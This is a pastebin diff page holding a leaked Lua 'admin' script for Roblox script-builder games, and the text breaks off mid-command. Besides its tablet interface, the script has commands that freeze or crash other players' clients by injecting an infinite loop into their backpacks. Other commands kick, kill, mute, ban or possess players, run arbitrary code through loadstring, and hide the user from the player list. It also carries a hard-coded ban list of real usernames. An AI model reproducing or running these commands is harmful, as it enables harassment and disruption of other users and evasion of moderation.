View difference between Paste ID: 3dDurEsA and rXkACLHK
SHOW: | | - or go back to the newest paste.
1
--Leaked by ERRORscript
2
3
--[[
4
_____/\\\\\\\\\\\_________/\\\\\_______/\\\_________________/\\\\\\\\\_______/\\\\\\\\\_____        
5
____/\\\/////////\\\_____/\\\///\\\____\/\\\_______________/\\\\\\\\\\\\\___/\\\///////\\\___       
6
____\//\\\______\///____/\\\/__\///\\\__\/\\\______________/\\\/////////\\\_\/\\\_____\/\\\___      
7
______\////\\\__________/\\\______\//\\\_\/\\\_____________\/\\\_______\/\\\_\/\\\\\\\\\\\/____     
8
__________\////\\\______\/\\\_______\/\\\_\/\\\_____________\/\\\\\\\\\\\\\\\_\/\\\//////\\\____    
9
______________\////\\\___\//\\\______/\\\__\/\\\_____________\/\\\/////////\\\_\/\\\____\//\\\___   
10
________/\\\______\//\\\___\///\\\__/\\\____\/\\\_____________\/\\\_______\/\\\_\/\\\_____\//\\\__  
11
________\///\\\\\\\\\\\/______\///\\\\\/_____\/\\\\\\\\\\\\\\\_\/\\\_______\/\\\_\/\\\______\//\\\_ 
12
_________\///////////__________\/////_______\///////////////__\///________\///__\///________\///__
13
14
Welcome to Solar admin, this admin is made by:
15
aleksa12432;
16
optiplex123/Exorsizer.
17
This script is legaly copyrighted, so every steal is against law.
18
You are allowed to edit the script, but leave credits to the real creators.
19
We don't wan't any abusers of this admin, so don't try to abuse.
20
If there is an error or bug, report to creators.
21
For all questions ask aleksa12432 or optiplex123/Exorsizer
22
This is a safety script, you have nil, local block, and 'bad' words detector.
23
Newest updates:
24
Fixed the rotation when cleaned;
25
Can be used in nil;
26
Smooth nil movement;
27
Explore command;
28
Added 'Hard ban'.
29
Currently working on:
30
Nil improvement.
31
]]--
32
--[[STARTUP]]--
33
wait()
34
script.Name = "Solar admin"
35
do
36
	if script:findFirstChild("DSource") ~= nil then
37
		SourceName = "DSource"
38
	elseif script:findFirstChild("Source") ~= nil then
39
		SourceName = "Source"
40
	elseif script:findFirstChild("source") ~= nil then
41
		SourceName = "source"
42
	else
43
		SourceName = "No_Source"
44
	end
45
end
46
if SourceName ~= "No_Source" then
47
	print("Source found: "..SourceName)
48
elseif SourceName == "No_Source" then
49
	error("Source not found, script did not load all features")
50
end
51
script:ClearAllChildren()
52
game.Lighting:ClearAllChildren()
53
wait()
54
--[[VARIABLES, BOOLEANS AND TABLES]]--
55
LocalPlayer = game:GetService("Players").LocalPlayer
56
runService = game:service'RunService'
57
LSource = script:Clone()
58
char = nil
59
key = nil
60
Mouse = LocalPlayer:GetMouse()
61
SunMesh = "http://www.roblox.com/asset/?id=1185246"
62
SunTexture = "http://www.roblox.com/asset/?id=20261287"
63
ChatColor = "Institutional white"
64
Code = "SA: "..game.PlaceId
65
Key = "/"
66
SunScale = Vector3.new(3,3,3)
67
HiddenTablets = false
68
TabModelDebounce = false
69
DismissTabOn = false
70
ChatGui = true
71
LBlock = true
72
found = false
73
NilBoot = false
74
appearTime = 3
75
Rotation = 0
76
Speed = 0.0001
77
Tabs = {}
78
Cmds = {}
79
Banlist = {}
80
HardBanlist = {"ninevolt781","cappertron20","GOLDC3PO","rabbidog","NoobsAttacks","manofthebase44"}
81
MuteWords = {}
82
BadWords = {}
83
Services = {
84
	game;
85
	game:service'Workspace';
86
	game:service'Players';
87
	game:service'Lighting';
88
	game:service'StarterGui';
89
	game:service'StarterPack';
90
	game:service'Debris';
91
};
92
--[[START]]--
93
if LocalPlayer.Character ~= nil then
94
	LocalPlayer.Character.Archivable = true
95
	Char = LocalPlayer.Character:Clone()
96
end
97
if NilBoot == true then
98
	LocalPlayer.Parent = nil
99
	ChatGui = true
100
	appear(CFrame.new(0,25,0))
101
	local a = Char:Clone()
102
	a.Parent = workspace
103
	a.Torso.CFrame = CFrame.new(0,25,0)
104
	LocalPlayer.Character = a
105
	workspace.CurrentCamera.CameraType = "Custom"
106
	workspace.CurrentCamera.CameraSubject = a.Humanoid
107
	wait(5)
108
	SmoothMovement()
109
end
110
MuteWords[#MuteWords+1] = LocalPlayer.Name..":Kick()"
111
MuteWords[#MuteWords+1] = LocalPlayer.Name..":Destroy()"
112
MuteWords[#MuteWords+1] = LocalPlayer.Name..":remove()"
113
MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Kick()'
114
MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Kick()"
115
MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Destroy()'
116
MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Destory()"
117
MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:remove()'
118
MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:remove()"
119
MuteWords[#MuteWords+1] = "'Players':ClearAllChildren()"
120
MuteWords[#MuteWords+1] = '"Players":ClearAllChildren()'
121
MuteWords[#MuteWords+1] = "Players:ClearAllChildren()"--alek SD the server or kick manof
122
for i = 1,#LocalPlayer.Name,1 do
123
	MuteWords[#MuteWords+1] = "kick/"..LocalPlayer.Name:sub(1,i)
124
end
125
for i = 1,#LocalPlayer.Name,1 do
126
	MuteWords[#MuteWords+1] = "kick;"..LocalPlayer.Name:sub(1,i)
127
end
128
for i = 1,#LocalPlayer.Name,1 do
129
	MuteWords[#MuteWords+1] = "kick:"..LocalPlayer.Name:sub(1,i)
130
end
131
for i = 1,#LocalPlayer.Name,1 do
132
	MuteWords[#MuteWords+1] = "kick "..LocalPlayer.Name:sub(1,i)
133
end
134
for i = 1,#LocalPlayer.Name,1 do
135
	MuteWords[#MuteWords+1] = ":kick "..LocalPlayer.Name:sub(1,i)
136
end
137
for i = 1,#LocalPlayer.Name,1 do
138
	MuteWords[#MuteWords+1] = "/kick/"..LocalPlayer.Name:sub(1,i)
139
end
140
for i = 1,#LocalPlayer.Name,1 do
141
	MuteWords[#MuteWords+1] = "kick`"..LocalPlayer.Name:sub(1,i)
142
end
143
wait()
144
--[[TABMODEL]]--
145
local TabModel = Instance.new("Model")
146
TabModel.Name = "Solar tabs"
147
if HiddenTablets == true then
148
	TabModel.Parent = workspace.CurrentCamera
149
	TabModelParent = workspace.CurrentCamera
150
elseif HiddenTablets == false then
151
	TabModel.Parent = workspace
152
	TabModelParent = workspace
153
end
154
--[[PARENTING]]--
155
script.Parent = _SOLAR_
156
wait()
157
--[[FUNCTIONS]]--
158
function Output(Text,Color,OnClicked)
159
	if TabModel.Parent ~= TabModelParent then return end
160
	if TabModel == nil then return end
161
	if Color == nil then Color = "Institutional white" end
162
	if Text == nil then Text = "" end
163
	local Text = tostring(Text)
164
	Text = Text:gsub("","\5")
165
	local Part = Instance.new("Part", TabModel)
166
	Part.CanCollide = false
167
	Part.Anchored = true
168
	Part.Locked = true
169
	Part.Shape = "Ball"
170
	Part.Size = Vector3.new(3,3,3)
171
	Part.Name = "TABLET: "..math.random(-99999,99999)
172
	if LocalPlayer ~= nil and LocalPlayer.Character ~= nil and LocalPlayer.Character.Torso ~= nil then
173
		Part.CFrame = LocalPlayer.Character.Torso.CFrame
174
	else
175
		Part.CFrame = CFrame.new(0,0,0)
176
	end
177
	local Mesh = Instance.new("SpecialMesh", Part)
178
	Mesh.MeshId = SunMesh
179
	Mesh.TextureId = SunTexture
180
	Mesh.Scale = SunScale
181
	local PointLight = Instance.new("PointLight", Part)
182
	PointLight.Color = BrickColor.new("New Yeller").Color
183
	PointLight.Range = 10
184
	local BillboardGui = Instance.new("BillboardGui", Part)
185
	BillboardGui.Size = UDim2.new(8,0,7,0)
186
	BillboardGui.StudsOffset = Vector3.new(0,2,0)
187
	local TextLabel = Instance.new("TextLabel", BillboardGui)
188
	TextLabel.Text = Text
189
	TextLabel.Size = UDim2.new(1,0,1,0)
190
	TextLabel.BackgroundTransparency = 1
191
	TextLabel.TextColor = BrickColor.new(Color)
192
	TextLabel.Font = "ArialBold"
193
	TextLabel.FontSize = "Size24"
194
	TextLabel.TextStrokeTransparency = 0
195
	local ClickDetector = Instance.new("ClickDetector", Part)
196
	Tabs[#Tabs+1] = Part
197
	ClickDetector.MaxActivationDistance = math.huge
198
	ClickDetector.MouseHoverEnter:connect(function(Player)
199
		if Player.Name == LocalPlayer.Name then
200
			Part.Transparency = 0.5
201
		end
202
	end)
203
	ClickDetector.MouseHoverLeave:connect(function(Player)
204
		if Player.Name == LocalPlayer.Name then
205
			Part.Transparency = 0
206
		end
207
	end)
208
	ClickDetector.MouseClick:connect(function(Player)
209
		if Player.Name == LocalPlayer.Name then
210
			coroutine.wrap(function()
211
				for i = 0,180,10 do
212
					TextLabel.Rotation = i
213
					wait()
214
				end
215
			end)()
216
			coroutine.wrap(function()
217
				for i = 0,1,0.1 do
218
					Part.Transparency = i
219
					wait()
220
				end
221
				wait()
222
				Part:Destroy()
223
				for i,v in pairs(Tabs) do
224
					if v.Name == Part.Name then
225
						table.remove(Tabs,i)
226
					end
227
				end
228
				if OnClicked ~= nil then
229
					OnClicked()
230
				end
231
			end)()
232
		end
233
	end)
234
	if #Tabs > 0 then DismissTab() end
235
end
236
function Dismiss()
237
	Tabs = {}
238
	TabModel:ClearAllChildren()
239
	DismissTabOn = false
240
end
241
function DismissTab()
242
	if DismissTabOn == true then return end
243
	DismissTabOn = true
244
	Output("Dismiss","Really red", function() Dismiss() DismissTabOn = false end)
245
end
246
function Chat(Msg, Clr)
247
	for _,v in pairs(Cmds) do
248
		if #Msg >= #v["Say"]+#Key then
249
			if Msg:lower():sub(1,#v["Say"]+#Key) == v["Say"]:lower()..Key:lower() then
250
				return
251
			end
252
		end
253
	end
254
	if Msg:sub(1,2) == "/e" then return end
255
	if Clr == nil then Clr = "Institutional white" end
256
	if Msg == nil then Msg = "" end
257
	if Msg:sub(1,1) == ";" then Clr = "Really red" Msg = Msg:sub(2) end
258
	if Msg:sub(1,1) == "/" then Clr = "Really blue" Msg = Msg:sub(2) end
259
	Msg = Msg:gsub("","\5")
260
	if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Head then
261
		if #LocalPlayer.Character.Head:children() > 15 then return end
262
		for _,v in pairs(LocalPlayer.Character.Head:children()) do
263
			if v.Name == "BG" then
264
				coroutine.wrap(function()
265
					for i = v.StudsOffset.y,v.StudsOffset.y+2,0.1 do
266
						v.StudsOffset = Vector3.new(0,i,0)
267
						wait()
268
					end
269
					wait(2)
270
					if v:findFirstChild("TextLabel") ~= nil then
271
						for i = 0,1,0.1 do
272
							if v:findFirstChild("TextLabel") == nil then break end
273
							v.TextLabel.TextTransparency = i
274
							v.TextLabel.TextStrokeTransparency = i
275
							wait()
276
						end
277
					end
278
					v:Destroy()
279
				end)()
280
			end
281
		end
282
		if ChatGui == false then 
283
			return
284
		elseif ChatGui == true then		
285
			local BG = Instance.new("BillboardGui", LocalPlayer.Character.Head)
286
			BG.Name = "BG"
287
			BG.Size = UDim2.new(8,0,7,0)
288
			BG.StudsOffset = Vector3.new(0,2,0)
289
			BG.SizeOffset = Vector2.new(0,.1)
290
			local TL = Instance.new("TextLabel", BG)
291
			TL.Text = Msg
292
			TL.BackgroundTransparency = 1
293
			TL.Size = UDim2.new(1,0,.8,0)
294
			TL.Font = "Legacy"
295
			TL.FontSize = "Size24"
296
			TL.TextStrokeTransparency = 0
297
			if Clr ~= "Random" then
298
				TL.TextColor = BrickColor.new(Clr)
299
			elseif Clr == "Random" then
300
				TL.TextColor = BrickColor.random()
301
			end
302
			coroutine.wrap(function()
303
				wait(5)
304
				if TL ~= nil then
305
					for i = 0,1,0.1 do
306
						if TL == nil then break end
307
						TL.TextTransparency = i
308
						TL.TextStrokeTransparency = i
309
						wait()
310
					end
311
				end
312
				BG:Destroy()
313
			end)()
314
		end
315
	end
316
end
317
function Notify(Msg)
318
	Chat(Msg,"Really red")
319
end
320
function GetPlayers(msg)
321
	local Plrs = {}
322
	if msg == "me" then
323
		table.insert(Plrs, LocalPlayer)
324
	elseif msg == "all" then
325
		Plrs = game:GetService("Players"):GetChildren() --GetPlayers()?
326
	elseif msg == "noobs" then
327
		for _,plr in pairs(game:GetService("Players"):GetChildren()) do
328
			if plr.AccountAge < 364 then
329
				table.insert(Plrs, plr)
330
			end
331
		end
332
	elseif msg == "veterans" then
333
		for _,plr in pairs(game:GetService("Players"):GetChildren()) do
334
			if plr.AccountAge > 364 then
335
				table.insert(Plrs, plr)
336
			end
337
		end
338
	elseif msg == "others" then
339
		for i,v in pairs(game:GetService("Players"):GetChildren()) do
340
			if v ~= LocalPlayer then
341
				table.insert(Plrs, v)
342
			end
343
		end
344
	else
345
		for i,v in pairs(game:GetService("Players"):GetChildren()) do
346
			if v.Name:lower():sub(1,#msg) == msg:lower() then
347
				table.insert(Plrs, v)
348
			end
349
		end
350
	end
351
	return Plrs
352
end
353
function Update(CF)
354
	if TabModel.Parent ~= TabModelParent then return end
355
	if TabModel == nil then return end
356
	Rotation = Rotation + Speed
357
	if TabModel.Parent ~= TabModelParent then return end
358
	if TabModel == nil then return end
359
	for i,v in pairs(Tabs) do
360
		if TabModel.Parent ~= TabModelParent then break end
361
		if TabModel == nil then break end
362
		if v.Parent ~= nil then
363
			if TabModel.Parent ~= TabModelParent then break end
364
			if TabModel == nil then break end
365
			if #Tabs < 201 then
366
				if TabModel.Parent ~= TabModelParent then break end
367
				if TabModel == nil then break end
368
				local CP = v.Position:lerp(CF.p,0.15)
369
				v.CFrame = CFrame.new(CP.X,CP.Y,CP.Z) *CFrame.Angles(0,math.rad(((360/#Tabs)*i)+Rotation),0)
370
				*CFrame.new(0,0,#Tabs*0.15 +0.5) 
371
			else
372
				if TabModel.Parent ~= TabModelParent then break end
373
				if TabModel == nil then break end
374
				v:Destroy()
375
			end
376
			if TabModel.Parent ~= TabModelParent then break end
377
			if TabModel == nil then break end
378
		end
379
	end
380
end
381
function AddCmd(Name, Say, Desc, Func)
382
	Cmds[#Cmds+1] = {["Name"] = Name, ["Say"] = Say, ["Desc"] = Desc, ["Func"] = Func}
383
end
384
function ShowCmds()
385
	Dismiss()
386
	for _,v in pairs(Cmds) do
387
		Output(v["Name"],nil,
388
			function()
389
				Dismiss()
390
				Output("Name: "..v["Name"])
391
				Output("Usage: "..v["Say"])
392
				Output("Description: "..v["Desc"])
393
				Output("Back","Really red",function() ShowCmds() end)
394
			end
395
		)
396
	end
397
end
398
function NewS(SourceValue, Parent)
399
	if NewScript then
400
		local scr = NewScript:Clone()
401
		if scr:FindFirstChild(SourceName) then
402
			if scr:FindFirstChild(SourceName) then
403
				scr:FindFirstChild(SourceName).Value = SourceValue
404
				scr.Parent = Parent
405
				wait()
406
				scr.Disabled = false
407
				return scr
408
			end
409
		end
410
	else
411
		Output("No source","Really red")
412
	end
413
end
414
function NewLS(SourceValue, Parent)
415
	if SourceName == "No_Source" then return end
416
	if game.PlaceId == 54194680 then
417
		NLS(SourceValue, Parent)
418
	else
419
		local NS = LSource:Clone()
420
		NS.Name = "NewLocal"
421
		local Source = NS:findFirstChild(SourceName)
422
		if Source == nil then 
423
			Instance.new('StringValue',NS).Name = SourceName 
424
		end
425
		Source = NS:findFirstChild(SourceName)
426
		Source.Value = SourceValue
427
		NS.Parent = Parent
428
		NS.Disabled = false
429
		return NS
430
	end
431
end
432
function ShowBL()
433
	Dismiss()
434
	for _,v in pairs(Banlist) do
435
		Output(v,nil, function() 
436
			Dismiss()
437
			Output(v)
438
			Output("Un-Ban","Really red", function()
439
				table.remove(Banlist, _)
440
			end)
441
			Output("Back","Really red", function()
442
				ShowBL()
443
			end)
444
		end)
445
	end
446
end
447
function ShowHBL()
448
	Dismiss()
449
	for _,v in pairs(HardBanlist) do
450
		Output(v,nil, function() 
451
			Dismiss()
452
			Output(v)
453
			Output("Un-Ban","Really red", function()
454
				table.remove(HardBanlist, _)
455
			end)
456
			Output("Back","Really red", function()
457
				ShowBL()
458
			end)
459
		end)
460
	end
461
end
462
function Connect(who)
463
	if who and who.Backpack then
464
		NewLS(ConnectSource, who.Backpack)
465
		Output("Connected: "..who.Name)
466
	end
467
end
468
function SmoothMovement()
469
	if char ~= nil then char = nil end
470
	wait()
471
	if LocalPlayer.Character.Parent == nil then return end
472
	if LocalPlayer.Character == nil then return end
473
	char = LocalPlayer.Character
474
	char.Torso.Anchored = true
475
	Mouse.KeyDown:connect(function(kai)
476
		if kai == "w" then
477
			key = "w"
478
		elseif kai == "s" then
479
			key = "s"
480
		elseif kai == "a" then
481
			key = "a"
482
		elseif kai == "d" then
483
			key = "d"
484
		end
485
	end)
486
	Mouse.KeyUp:connect(function(kai)
487
		if kai == "w" then
488
			key = nil
489
		elseif kai == "s" then
490
			key = nil
491
		elseif kai == "a" then
492
			key = nil
493
		elseif kai == "d" then
494
			key = nil
495
		end
496
	end)
497
	while wait() do
498
		if char == nil then break end
499
		if key == "w" then
500
			if char == nil then break end
501
			char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,-0.5)
502
		elseif key == "s" then
503
			if char == nil then break end
504
			char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,0.5)
505
		elseif key == "a" then
506
			if char == nil then break end
507
			char.Torso.CFrame = char.Torso.CFrame * CFrame.new(-0.5,0,0)
508
			char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,0.5,0)
509
		elseif key == "d" then
510
			if char == nil then break end
511
			char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0.5,0,0)
512
			char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,-0.5,0)
513
		end
514
	end
515
end
516
function Explore(part)
517
	Dismiss()
518
	if part == nil then
519
		for _,v in pairs(Services) do
520
			Output(v.Name,nil,function() Explore(v) end)
521
		end
522
	else
523
		for _,v in pairs(part:children()) do
524
			Output(v.Name,nil,function() Explore(v) end)
525
		end
526
		wait()
527
		Output("Currently exploring: "..part.Name,"Really red")
528
		Output("Class name: "..part.ClassName,"Really red")
529
		Output("Destroy","Really red",function() part:Destroy() Explore(part.Parent) end)
530
		Output("Remove","Really red",function() part:remove() Explore(part.Parent) end)
531
	end
532
end
533
function appear(pos)
534
	local parts = {}
535
	local frames = appearTime / (1 / 30)
536
	local t = 1
537
	if pos == nil then pos = CFrame.new(0, 25, 0) end
538
	for i=1,500 do
539
		local p = Instance.new("Part", game.Workspace)
540
		p.Anchored = true
541
		p.CanCollide = false
542
		p.formFactor = 3
543
		p.Size = Vector3.new(1, 1, 1)
544
		p.TopSurface = 0
545
		p.BottomSurface = 0
546
		p.BrickColor = BrickColor.random()
547
		local x, y, z = math.random(-10, 10) / 100, math.random(-10, 10) / 100, math.random(-10, 10) / 100
548
		p.CFrame = pos * CFrame.new(x * frames, y * frames, z * frames)
549
		local mesh = Instance.new("SpecialMesh", p)
550
		mesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
551
		mesh.Scale = Vector3.new(0.9, 0.9, 0.9)
552
		table.insert(parts, {p, CFrame.new(-x, -y, -z) * CFrame.Angles(x, y, z)})
553
	end
554
	for i=1,frames do
555
		local _, duration = runService.Stepped:wait()
556
		for i,v in pairs(parts) do
557
			if v[1].Parent then
558
				v[1].CFrame = v[1].CFrame * v[2]
559
				v[1].Transparency = t
560
			end
561
		end
562
		t = t - (appearTime / frames)
563
	end
564
	for i,v in pairs(parts) do
565
		if v[1].Parent then
566
			v[1]:remove()
567
		end
568
	end
569
end
570
--[[COMMANDS]]--
571
AddCmd("Ping","ping","Ping something",
572
	function(nothing, msg)
573
		Output(tostring(msg))
574
	end
575
)
576
AddCmd("Commands","cmds","Show all commands",
577
	function()
578
		ShowCmds()
579
	end
580
)
581
AddCmd("#Commands","#cmds","Show the number of commands",
582
	function()
583
		Output(tostring(#Cmds))
584
	end	
585
)
586
AddCmd("Dismiss","dt","Dismiss tabs",
587
	function()
588
		Dismiss()
589
	end
590
)
591
AddCmd("Toggle tabs visibility","hid","Make the tabs visible/invisible",
592
	function(nothing, msg)
593
		if msg == "on" then
594
			HiddenTablets = true
595
			TabModel.Parent = workspace.CurrentCamera
596
			TabModelParent = workspace.CurrentCamera
597
			Output("Tabs are hidden","Really red")
598
		elseif msg == "off" then
599
			HiddenTablets = false
600
			TabModel.Parent = workspace
601
			TabModelParent = workspace
602
			Output("Tabs are visible","Really red")
603
		else
604
			Output("Use on/off to toggle tab visibility","Really red")
605
		end
606
	end
607
)
608
AddCmd("Execute","exe","Execute",
609
	function(nothing, msg)
610
		a,b = ypcall(function()
611
			loadstring(msg)()
612
		end)
613
		if not a then Output(b,"Really red") end
614
	end
615
)
616
AddCmd("Toggle local block","tlb","Toggle local block on/off",
617
	function(nothing, msg)
618
		if msg == "on" then
619
			LBlock = true
620
			Output("Local block on","Really red")
621
		elseif msg == "off" then
622
			LBlock = false
623
			Output("Local block off")
624
		else
625
			Output("Use on/off to toggle local block","Really red")
626
		end
627
	end
628
)
629
AddCmd("Kick","kick","Kick player",
630
	function(Plrs)
631
		for _, plr in pairs(Plrs) do
632
			if plr then
633
				NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
634
			end
635
		end
636
	end
637
)
638
AddCmd("Banlist","bl","Show banned players",
639
	function()
640
		ShowBL()
641
	end
642
)
643
AddCmd("Hard Banlist","hbl","Show hard banned players",
644
	function()
645
		ShowHBL()
646
	end
647
)
648
AddCmd("Semi-Crash","scrash","Semi-crash a player",
649
	function(Plrs)
650
		for _,plr in pairs(Plrs) do
651
			if plr and plr.Backpack then
652
				NewLS("repeat until false",plr.Backpack)
653
			end
654
		end
655
	end
656
)
657
AddCmd("Crash","crash","Crash a player (use nil to crash nil players)",
658
	function(nothing, msg)
659
		local a = Instance.new("StringValue", game.Lighting)
660
		a.Name = "DISC: "..msg
661
		game:service'Debris':AddItem(a, 3)
662
	end
663
)
664
AddCmd("Mute","mute","Block player's chat",
665
	function(Plrs)
666
		for _, plr in pairs(Plrs) do
667
			if plr and plr.Backpack then
668
				NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)", plr.Backpack)
669
			end
670
		end
671
	end
672
)
673
AddCmd("Un-Mute","unmute","Un-Block player's chat",
674
	function(Plrs)
675
		for _, plr in pairs(Plrs) do
676
			if plr and plr.Backpack then
677
				NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, true)", plr.Backpack)
678
			end
679
		end
680
	end
681
)
682
AddCmd("Clean","clean","Clean workspace",
683
	function()
684
		for _,v in pairs(workspace:children()) do
685
			if v.Name ~= "Terrain" then
686
				v:Destroy()
687
			end
688
		end
689
		NewS("for _,v in pairs(game:service'Players':children()) do if v:IsA('Player') then v:LoadCharacter() end end", workspace)
690
		local base = Instance.new("Part", workspace)
691
		base.Anchored = true
692
		base.Size = Vector3.new(1000,1.2,1000)
693
		base.BrickColor = BrickColor.new("Dark green")
694
		base.Material = "Grass"
695
	end
696
)
697
AddCmd("Remove","cremove","Remove the script",
698
	function()
699
		for i = 0,50,1 do
700
			pcall(function()
701
				for j,k in pairs(getfenv(i)) do
702
					getfenv(i)[j] = nil
703
				end
704
			end)
705
		end
706
	end
707
)
708
AddCmd("Script","c","Script something",
709
	function(nothing, msg)
710
		if found then
711
			NewS(msg,workspace)
712
		else
713
			Output("No source","Really red")
714
		end
715
	end
716
)
717
AddCmd("Kill","kill","Kill player",
718
	function(Plrs)
719
		for _, plr in pairs(Plrs) do
720
			if plr and plr.Character then
721
				plr.Character:breakJoints''
722
			end
723
		end
724
	end
725
)
726
AddCmd("NewLocal","newlocal","Inserts a new local in someones backpack",
727
	function(Plrs, msg)
728
		local KeyPos = msg:find(Key)
729
		local TargPlrs = msg:sub(1,KeyPos-1)
730
		local Plrs = GetPlayers(TargPlrs)
731
		local Srce = msg:sub(KeyPos+1)
732
		for _,plr in pairs(Plrs) do
733
			if plr and plr.Backpack then
734
				NewLS(Srce, plr.Backpack)
735
			end
736
		end
737
	end
738
)
739
AddCmd("Ban","ban","Bans a player",
740
    function(Plrs)
741
        for _, plr in pairs(Plrs) do
742
            if plr and plr.Backpack then
743
                Banlist[#Banlist +1] = plr.Name
744
                NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
745
            end
746
        end
747
    end
748
)
749
AddCmd("Rejoin","rj","Rejoins a player",
750
	function(Plrs)
751
		for _,plr in pairs(Plrs) do
752
			if plr and plr.Character then
753
				if SourceName == "source" then
754
					Output("This is Alakazards scriptbuilder. TPService is disabled here! Can't TP!","Really red")
755
				end
756
				if SourceName ~= "source" then    
757
					NewLS([[game:GetService('TeleportService'):Teleport(game.PlaceId)]],plr.Character)
758
				end
759
			end
760
		end
761
	end
762
)
763
AddCmd("Ban","ban","Bans a player",
764
    function(Plrs)
765
        for _, plr in pairs(Plrs) do
766
            if plr and plr.Backpack then
767
                Banlist[#Banlist+1] = plr.Name
768
            end
769
        end
770
    end
771
)
772
AddCmd("Chat","chat","Turns chat on/off",
773
	function(nothing, msg)
774
		if msg == "on" then
775
			ChatGui = true
776
		elseif msg == "off" then
777
			ChatGui = false
778
		end
779
	end
780
)
781
AddCmd("GetAge","ga","Get age of a player",
782
	function(Plrs)
783
		for _, plr in pairs(Plrs) do
784
			if plr then
785
				Output(plr.Name..": "..tostring(plr.AccountAge))
786
			end
787
		end
788
end)
789
AddCmd("Hint","h","Show some hint",
790
	function(nothing, msg)
791
		if found then
792
			NewS([[
793
			a = Instance.new("Hint", workspace)
794
			msg = "]]..msg..[["
795
			msg = msg:gsub("","\5")
796
			game:service'Debris':AddItem(a, 5)
797
			while wait() do
798
				for i = 30,0,-1 do
799
					a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
800
					wait()
801
				end
802
				for i = 0,30,1 do
803
					a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
804
					wait()
805
				end
806
			end
807
			]], workspace)
808
		end
809
	end
810
)
811
AddCmd("Message","m","Show a message",
812
	function(nothing, msg)
813
		if found then
814
			NewS([[
815
			a = Instance.new("Message", workspace)
816
			msg = "]]..msg..[["
817
			msg = msg:gsub("","\5")
818
			game:service'Debris':AddItem(a, 5)
819
			while wait() do
820
				for i = 30,0,-1 do
821
					a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
822
					wait()
823
				end
824
				for i = 0,30,1 do
825
					a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
826
					wait()
827
				end
828
			end
829
			]], workspace)
830
		end
831
	end
832
)
833
AddCmd("Char","char","Be a character",
834
	function()
835
		if LocalPlayer.Parent == game.Players then return end
836
		if LocalPlayer.Character~= nil then
837
			LocalPlayer.Character:Destroy()
838
		end
839
		char = nil
840
		appear(CFrame.new(0,25,0))
841
		local a = Char:Clone()
842
		a.Parent = workspace
843
		a.Torso.CFrame = CFrame.new(0,25,0)
844
		LocalPlayer.Character = a
845
		workspace.CurrentCamera.CameraType = "Custom"
846
		workspace.CurrentCamera.CameraSubject = a.Humanoid
847
		wait(5)
848
		SmoothMovement()
849
	end
850
)
851
AddCmd("Refresh 'nil smooth movement'","rnsm","Refresh the movement when you are nil",
852
	function()
853
		if LocalPlayer.Parent == nil then
854
			char = nil
855
			wait()
856
			SmoothMovement()
857
		else
858
			Output("You are not nil.","Really red")
859
		end
860
	end
861
)
862
AddCmd("Go nil","gn","Go to nil player mode",
863
	function()
864
		LocalPlayer.Parent = nil
865
		appear(CFrame.new(0,25,0))
866
		local a = Char:Clone()
867
		a.Torso.CFrame = CFrame.new(0,25,0)
868
		a.Parent = workspace
869
		LocalPlayer.Character = a
870
		workspace.CurrentCamera.CameraType = "Custom"
871
		workspace.CurrentCamera.CameraSubject = a.Humanoid
872
		wait(5)
873
		SmoothMovement()
874
	end
875
)
876
AddCmd("Fix camera","fcam","Fix your camera",
877
	function()
878
		workspace.CurrentCamera.CameraType = "Custom"
879
		workspace.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid
880
	end
881
)
882
AddCmd("Nils","nilp","Get nil players",
883
	function()
884
		NewS([[
885
			Model = Instance.new("Model", game.Lighting)
886
			Model.Name = "SolarAdminNilPlayers"
887
			for _,v in pairs(game:service'NetworkServer':children()) do
888
				if v:GetPlayer() then
889
					if v:GetPlayer().Parent ~= game:service'Players' then
890
						Instance.new("StringValue",Model).Value = v:GetPlayer().Name
891
					end
892
				end
893
			end
894
		]], workspace)
895
		wait()
896
		np = nil
897
		for i = 0,5,1 do
898
			if game.Lighting:findFirstChild("SolarAdminNilPlayers") then
899
				np = game.Lighting:findFirstChild("SolarAdminNilPlayers")
900
				break
901
			end
902
			wait(0.1)
903
		end
904
		if np ~= nil then
905
			Dismiss()
906
			for _,v in pairs(np:children()) do
907
				if v:IsA("StringValue") then
908
					Output(v.Value,"Really red")
909
				end
910
			end
911
		elseif np == nil then
912
			Output("Something went wrong.","Really red")
913
		end
914
	end
915
)
916
AddCmd("Possess","ps","Possess a player",
917
	function(Plrs)
918
		for _, plr in pairs(Plrs) do
919
			if plr and plr.Character then
920
				LocalPlayer.Character = plr.Character
921
				workspace.CurrentCamera.CameraType = "Custom"
922
				workspace.CurrentCamera.CameraSubject = plr.Character.Humanoid
923
			end
924
		end
925
	end
926
)
927
AddCmd("'Hard' ban","hb","Hard ban a player",
928
	function(Plrs)
929
		for _, plr in pairs(Plrs) do
930
			if plr then
931
				HardBanlist[#HardBanlist+1] = plr.Name
932
			    NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
933
			    for i = 0,10,1 do 
934
			        Notify("Hard Banned "..plr.Name.."!")
935
		        end
936
		    end
937
		end
938
	end
939
)
940
AddCmd("Explore","explore","Explore the game",
941
	function()
942
		Explore()
943
	end
944
)
945
AddCmd("Rejoin yourself","rej","Rejoin yourself even if you are nil",
946
	function()
947
		if SourceName ~= "source" then
948
			game:service'TeleportService':Teleport(game.PlaceId)
949
		else
950
